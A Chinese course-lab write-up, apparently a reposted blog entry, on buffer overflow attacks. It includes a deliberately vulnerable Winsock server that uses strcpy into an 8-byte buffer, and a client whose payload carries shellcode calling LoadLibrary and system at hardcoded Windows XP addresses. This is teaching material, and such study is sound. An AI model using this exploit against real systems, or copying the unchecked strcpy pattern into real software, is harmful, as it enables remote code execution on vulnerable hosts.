网络攻防实验之缓冲区溢出攻击
這個實驗是網(wǎng)絡(luò)攻防課程實驗中的一個,但是目前我還沒有完全搞懂代碼,以后有機會來補。也歡迎大佬指點
一、實驗?zāi)康暮鸵?/strong>
? ? ? 通過實驗掌握緩沖區(qū)溢出的原理,通過使用緩沖區(qū)溢出攻擊軟件模擬入侵遠程主機理解緩沖區(qū)溢出危害性,并理解防范和避免緩沖區(qū)溢出攻擊的措施。
二、實驗原理和實驗環(huán)境
實驗原理:
? ? ? ? 緩沖區(qū)溢出(Buffer Overflow)是目前非常普遍而且危險性非常高的漏洞,在各種操作系統(tǒng)和應(yīng)用軟件中廣泛存在。利用緩沖區(qū)溢出攻擊,可以使遠程主機出現(xiàn)程序運行錯誤、系統(tǒng)死機或者重啟等異常現(xiàn)象,它甚至可以被黑客利用,在沒有任何系統(tǒng)帳戶的條件下獲得系統(tǒng)最高控制權(quán),進而進行各種非法操作。
? ? ? ?緩沖區(qū)溢出的原理很簡單,類似于把水倒入杯子中,而杯子容量有限,如果倒入水的量超過杯子的容量,水就會溢出來。緩沖區(qū)是一塊用于存放數(shù)據(jù)的臨時內(nèi)存空間,它的長度事先已經(jīng)被程序或者操作系統(tǒng)定義好。緩沖區(qū)類似于一個杯子,寫入的數(shù)據(jù)類似于倒入的水。緩沖區(qū)溢出就是將長度超過緩沖區(qū)大小的數(shù)據(jù)寫入程序的緩沖區(qū),造成緩沖區(qū)的溢出,從而破壞程序的堆棧,使程序轉(zhuǎn)而執(zhí)行其他指令。
例如:
#include <stdio.h>
main()
{
char string[8];
gets(string);
printf("string is %s\n", string);
}
? ? ? ?在UNIX系統(tǒng)中對C函數(shù)處理時,系統(tǒng)會為其分配一段內(nèi)存區(qū)間,其中用于函數(shù)調(diào)用的區(qū)域為堆棧區(qū),保存了函數(shù)調(diào)用過程中的返回地址、棧頂和棧底信息,以及局部變量和函數(shù)的參數(shù)。上述main函數(shù)執(zhí)行時,上述信息按照參數(shù)、ret(返回地址)和EBP(棧底)的順序依次壓入其堆棧區(qū)中,然后根據(jù)所調(diào)用的局部變量再在堆棧中開辟一塊相應(yīng)的空間,這個內(nèi)存空間被申請占用的過程是從內(nèi)存高地址空間向低地址空間的延伸。為局部變量在堆棧中預(yù)留的空間在填入局部變量時,其填入的順序是從低地址內(nèi)存空間向高地址內(nèi)存空間依次進行。函數(shù)執(zhí)行完后,局部變量占用的內(nèi)存空間將被丟棄,并根據(jù)EBP和ret地址,恢復(fù)到調(diào)用函數(shù)原有地址空間繼續(xù)執(zhí)行。當字符處理函數(shù)沒有對局部變量進行越界監(jiān)視和限制時,就存在局部變量寫越界,覆蓋了高地址內(nèi)存空間中ret、EBP的信息,造成緩沖區(qū)溢出。
? ? ? ? 對于上述main()函數(shù),由于沒有參數(shù),系統(tǒng)首先將main函數(shù)的ret和EBP寫入堆棧,然后根據(jù)string[8]字符數(shù)組的大小,堆棧再擴展8個字節(jié)的空間用于存放sting[]數(shù)組中的局部變量。當執(zhí)行g(shù)ets()函數(shù)將局部變量例如AAAA寫入string[]數(shù)組時,字符串AAAA會先填入內(nèi)存的低地址空間,如下圖所示,然后再是高地址空間。堆棧中內(nèi)存的分配以4字節(jié)為單位,如果gets()函數(shù)執(zhí)行時輸入的字符串為AAAAAAAAAAAAAAAA,按照上述填入順序,原有ret和EBP的內(nèi)存空間將會被字符串A覆蓋。
? ? ? ?當main函數(shù)返回時,再從原ret處獲取調(diào)用函數(shù)返回地址時,就會把AAAA對應(yīng)的十六進制ASCII碼0x41414141作為返回地址,使CPU試圖執(zhí)行0x41414141處的指令,由于0x41414141不是一個正常的內(nèi)存空間地址,就會發(fā)生緩沖區(qū)溢出。發(fā)生溢出時,如果用一個實際存在的指令地址來覆蓋被調(diào)用函數(shù)的返回地址,則系統(tǒng)就會轉(zhuǎn)而執(zhí)行這個指令,這一點就是緩沖區(qū)溢出被用來進行攻擊的最關(guān)鍵之處。在UNIX系統(tǒng)中,由于相同shell環(huán)境下,程序的堆棧地址信息是相同的,所以只要調(diào)試后找到這個堆棧地址,就可以在發(fā)生溢出時轉(zhuǎn)而執(zhí)行這個事先設(shè)定的程序了。并且,如果發(fā)生溢出的源程序具有管理員權(quán)限,則替換后的程序也擁有相同的管理員權(quán)限。
? ? ? 引起緩沖區(qū)溢出的問題主要原因是C和C++本質(zhì)就是不安全的(Java和C#就相對安全許多)沒有邊界來檢查數(shù)據(jù)和指針的引用。而軟件開發(fā)人員經(jīng)常忽略檢查邊界,這就會有緩沖區(qū)溢出的風(fēng)險。標準C庫中還存在許多非安全字符串的操作,包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。為了防止緩沖區(qū)溢出的發(fā)生,編程人員需要對這些存在緩沖區(qū)溢出問題的函數(shù)予以關(guān)注,增加邊界限制,編寫正確的代碼,或者改用沒有問題的函數(shù),例如strncpy()、strncat()、snprintf()等。
實驗環(huán)境:
? ? Windows XP,VC 6.0
三、實驗內(nèi)容及步驟?
1、打開控制臺。
? ? ? 學(xué)生單擊“試驗環(huán)境試驗”進入實驗場景,單擊L005001001xp01_1中的“打開控制臺”按鈕,進入目標主機。
2、找到桌面上的Microsoft Visual C++ 6.0,雙擊打開。
3、新建一個C++ Source File,文件名為server,作為服務(wù)器。
4、在D盤tools文件夾下打開server文件,將里面的代碼復(fù)制到建立的C++文件中。并編譯構(gòu)建。
#include <stdio.h>#include <stdlib.h>#include <WINSOCK2.H>#pragma?comment (lib, "WS2_32")void?showcontent(char *buff);int?main(int?argc, char **argv){WSADATA?wsaData;if(?WSAStartup(0x101, &wsaData) != 0 ){printf("Failed Initialization.\n");return 0;}if(argc!=2){printf("Usage: server.exe [port]\n");return 0;}int?port =?atoi(argv[1]);SOCKET?sListen?= ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sListen?== INVALID_SOCKET){printf("Failed socket()\n");return 0;}sockaddr_in?sin;sin.sin_family?= AF_INET;sin.sin_port?=?htons(port);sin.sin_addr.S_un.S_addr?= INADDR_ANY;if (::bind(sListen, (LPSOCKADDR)&sin,?sizeof(sin)) == SOCKET_ERROR){printf("Failed bind()\n");return 0;}if (::listen(sListen, 2) == SOCKET_ERROR){printf("Failed listen()\n");return 0;}sockaddr_in?remoteAddr;int?nAddrLen?=?sizeof(remoteAddr);SOCKET?sClient;char?szText[] = "TCP Server is Connected!\n\n";char buff[1024] = {0};char?toSend[1024] = {0};while (TRUE){sClient?= ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);if (sClient?== INVALID_SOCKET){printf("Failed accept()\n");continue;}printf("Somebody is connecting: %s\n",?inet_ntoa(remoteAddr.sin_addr));::send(sClient,?szText,?strlen(szText), 0);int?nRecv?= ::recv(sClient, buff,?sizeof(buff), 0);if (nRecv?> 0){buff[nRecv] = '\0';::closesocket(sClient);break;}}::closesocket(sListen);showcontent(buff);return 0;}void?showcontent(char *buff){char content[8];strcpy(content, buff);printf("%s", content);}5、運行程序,可以看見有server.exe應(yīng)用程序,[port]是口令。
6、再新建一個C++ Source File,文件名為Client,作為客戶端。
?
7、在D盤tools文件夾下的client文件,復(fù)制其中的代碼到c++文件中,編譯構(gòu)建。
#include <stdio.h>?#include <stdlib.h>#include <WINSOCK2.H>#pragma?comment (lib, "WS2_32")int?main(int?argc, char* *argv){WSADATA?wsaData;if(?WSAStartup(0x101, &wsaData) != 0 ){printf("Failed Initialization.\n");return 0;}if(argc!=3){printf("Usage: client.exe [Server_IP] [port]\n");return 0;}int?port =?atoi(argv[2]);SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s == INVALID_SOCKET){printf("Failed socket()\n");return 0;}sockaddr_in?servAddr;servAddr.sin_family?= AF_INET;servAddr.sin_port?=?htons(port);servAddr.sin_addr.S_un.S_addr?=?inet_addr(argv[1]);if(::connect(s, (sockaddr?*)&servAddr,?sizeof(servAddr)) == -1){printf("Failed connect()\n");return 0;}char buff[1024];int?nRev?= ::recv(s, buff,?sizeof(buff), 0);if (nRev?> 0){buff[nRev] = '\0';printf("Received: %s", buff);}char?toSend[] ="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41""\x12\x45\xfa\x7f""\x55\x8b\xec""\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45""\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6""\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6""\x45\xfd\x4c\xba""\x80\x1d\x80\x7c"???//loadlibrarya"\x52\x8d\x45\xf4\x50\xf""\xff\xd0";char toSend2[] ="\x41\x42\x43\x44""\x45\x46\x47\x48""\x12\x45\xfa\x7f""\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53""\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6""\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA""\x9c\x3f\x88\x7c"???//loadlibrary地址0x7c883f9c"\x52\x8D\x45\xF4\x50""\xFF\x55\xF0""\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"//command."\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"//??????c???o???m"\x50\xB8""\x7c\xbf\x93\x77"???//System地址0x77bf93c7"\xFF\xD0";send(s,?toSend,?strlen(toSend), 0);::closesocket(s);return 0;}8、運行程序,可以看見有client.exe應(yīng)用程序,[Server_IP]是服務(wù)器的IP地址,[port]是口令。
9、打開命令提示符,輸入“ipconfig”查看本機的IP地址,即為服務(wù)器的IP地址。這里的IP地址是172.16.1.186
10、打開桌面上的Debug文件夾,找到其中的client.exe和server.exe。
11、復(fù)制server.exe和client.exe,將他們粘貼到“c:\windows\system32”目錄下。
12、打開命令提示符,找到“c:\windows\system32”目錄,并運行命令“server.exe 8888”來開啟server。
開始文件夾是隱藏的,點擊“顯示此文件夾內(nèi)容”
13、另外打開一個命令提示符,同樣找到“c:\windows\system32”目錄,運行命令
“client.exe 172.16.1.186 8888”來攻擊server。
14、點擊回車鍵后,可以看見一行提示“Received: TCP Server is Connected!”,
表明連接上了server。然后會彈出一個對話框,顯示server.exe遇到問題需要關(guān)閉,這表明server被攻擊并報錯了。
總結(jié)
以上是生活随笔為你收集整理的网络攻防实验之缓冲区溢出攻击的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: com.fasterxml.jackso
- 下一篇: 你有没有遇到叫二狗子的那个哥们?